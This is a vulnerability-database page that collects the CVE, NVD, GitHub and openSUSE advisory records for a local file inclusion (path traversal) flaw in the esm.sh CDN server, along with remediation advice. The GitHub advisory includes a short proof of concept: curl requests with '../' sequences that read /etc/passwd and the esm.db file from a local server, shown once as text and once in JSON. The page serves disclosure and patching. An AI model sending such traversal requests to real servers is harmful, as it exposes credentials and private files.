CVE-2025-59341 (GCVE-0-2025-59341)
Vulnerability from cvelistv5 – Published: 2025-09-17 17:55 – Updated: 2025-09-17 18:09
VLAI
EPSS
VEX
Title
Local File Inclusion in esm.sh
Summary
esm.sh is a nobuild content delivery network(CDN) for modern web development. In 136 and earlier, a Local File Inclusion (LFI) issue was identified in the esm.sh service URL handling. An attacker could craft a request that causes the server to read and return files from the host filesystem (or other unintended file sources).
Severity
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-09-17 18:07 UTC
CWE
- CWE-23 - Relative Path Traversal
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://github.com/esm-dev/esm.sh/security/adviso… | x_refsource_CONFIRM |
| https://github.com/esm-dev/esm.sh/blob/c62f191d32… | x_refsource_MISC |
Impacted products
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FKIE_CVE-2025-59341
Vulnerability from fkie_nvd - Published: 2025-09-17 18:15 - Updated: 2026-06-17 09:45
Severity
Summary
esm.sh is a nobuild content delivery network(CDN) for modern web development. In 136 and earlier, a Local File Inclusion (LFI) issue was identified in the esm.sh service URL handling. An attacker could craft a request that causes the server to read and return files from the host filesystem (or other unintended file sources).
References
Impacted products
| Vendor | Product | Version |
|---|
{
"affected": [
{
"affectedData": [
{
"product": "esm.sh",
"vendor": "esm-dev",
"versions": [
{
"status": "affected",
"version": "\u003c= 136"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"cveTags": [],
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},
{
"lang": "es",
"value": "esm.sh es una red de entrega de contenido (CDN) sin compilaci\u00f3n para el desarrollo web moderno. En la versi\u00f3n 136 y anteriores, se identific\u00f3 un problema de Inclusi\u00f3n Local de Ficheros (LFI) en el manejo de URL del servicio esm.sh. Un atacante podr\u00eda elaborar una solicitud que cause que el servidor lea y devuelva ficheros del sistema de ficheros del host (u otras fuentes de ficheros no intencionadas)."
}
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GHSA-49PV-GWXP-532R
Vulnerability from github – Published: 2025-09-17 18:39 – Updated: 2025-09-26 16:14
VLAI
Summary
esm.sh has File Inclusion issue
Details
Summary
A Local File Inclusion (LFI) issue was identified in the esm.sh service URL handling. An attacker could craft a request that causes the server to read and return files from the host filesystem (or other unintended file sources).
Severity: High — LFI can expose secrets, configuration files, credentials, or enable further compromise. Impact: reading configuration files, private keys, environment files, or other sensitive files; disclosure of secrets or credentials; information leakage that could enable further attacks.
Vulnerable code snippet is in this file: https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168
Proof of Concept
- Using this default config file that I copy from the repo, the server is running at
http://localhost:9999with this commandgo run server/esmd/main.go --config=config.json
{
"port": 9999,
"npmRegistry": "https://registry.npmjs.org/",
"npmToken": "******"
}
- Trigger the LFI vulnerability by sending this command below to read a local file
# read /etc/passwd
curl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1&module=1'
# or read the database esm.db file
curl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../esm.db?raw=1&module=1'
Remediation
Simply remove any .. in the URL path before actually process the file. See more details in this guide
Credits
Severity
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/esm-dev/esm.sh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "136"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-59341"
],
"database_specific": {
"cwe_ids": [
"CWE-23"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-17T18:39:20Z",
"nvd_published_at": "2025-09-17T18:15:53Z",
"severity": "HIGH"
},
"details": "## Summary\n\nA Local File Inclusion (LFI) issue was identified in the esm.sh service URL handling. An attacker could craft a request that causes the server to read and return files from the host filesystem (or other unintended file sources).\n\n**Severity:** High \u2014 LFI can expose secrets, configuration files, credentials, or enable further compromise.\n**Impact:** reading configuration files, private keys, environment files, or other sensitive files; disclosure of secrets or credentials; information leakage that could enable further attacks.\n\nVulnerable code snippet is in this file: https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168\n\n---\n\n## Proof of Concept\n\n1. Using this default config file that I copy from the repo, the server is running at `http://localhost:9999` with this command `go run server/esmd/main.go --config=config.json`\n\n\n```json\n{\n \"port\": 9999,\n \"npmRegistry\": \"https://registry.npmjs.org/\",\n \"npmToken\": \"******\"\n}\n\n```\n\n2. Trigger the LFI vulnerability by sending this command below to read a local file\n\n```bash\n# read /etc/passwd\ncurl --path-as-is \u0027http://localhost:9999/pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1\u0026module=1\u0027\n\n# or read the database esm.db file\ncurl --path-as-is \u0027http://localhost:9999/pr/x/y@99/../../../../../../../esm.db?raw=1\u0026module=1\u0027\n```\n\n\u003cimg width=\"3338\" height=\"1906\" alt=\"poc-image\" src=\"https://github.com/user-attachments/assets/f3721e5d-a09c-4227-960a-35279ff52811\" /\u003e\n\n\n---\n\n## Remediation\n\nSimply remove any `..` in the URL path before actually process the file. See more details in [this guide](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)\n\n## Credits\n\n- [Ai Ho (Jessie)](https://github.com/j3ssie)\n- [CL Yang](https://github.com/A11riseforme)",
"id": "GHSA-49pv-gwxp-532r",
"modified": "2025-09-26T16:14:27Z",
"published": "2025-09-17T18:39:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-49pv-gwxp-532r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59341"
},
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/commit/492de92850dd4d350c8b299af541f87541e58a45"
},
{
"type": "PACKAGE",
"url": "https://github.com/esm-dev/esm.sh"
},
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2025-3962"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "esm.sh has File Inclusion issue"
}
OPENSUSE-SU-2025:15576-1
Vulnerability from csaf_opensuse - Published: 2025-09-25 00:00 - Updated: 2026-09-20 21:42Summary
govulncheck-vulndb-0.0.20250924T192141-1.1 on GA media
Severity
Moderate
Scope
16 vulnerabilities in this advisory, including CVE-2025-59341.
CVE-2025-59341
Recommended: 4 products
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Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
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Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.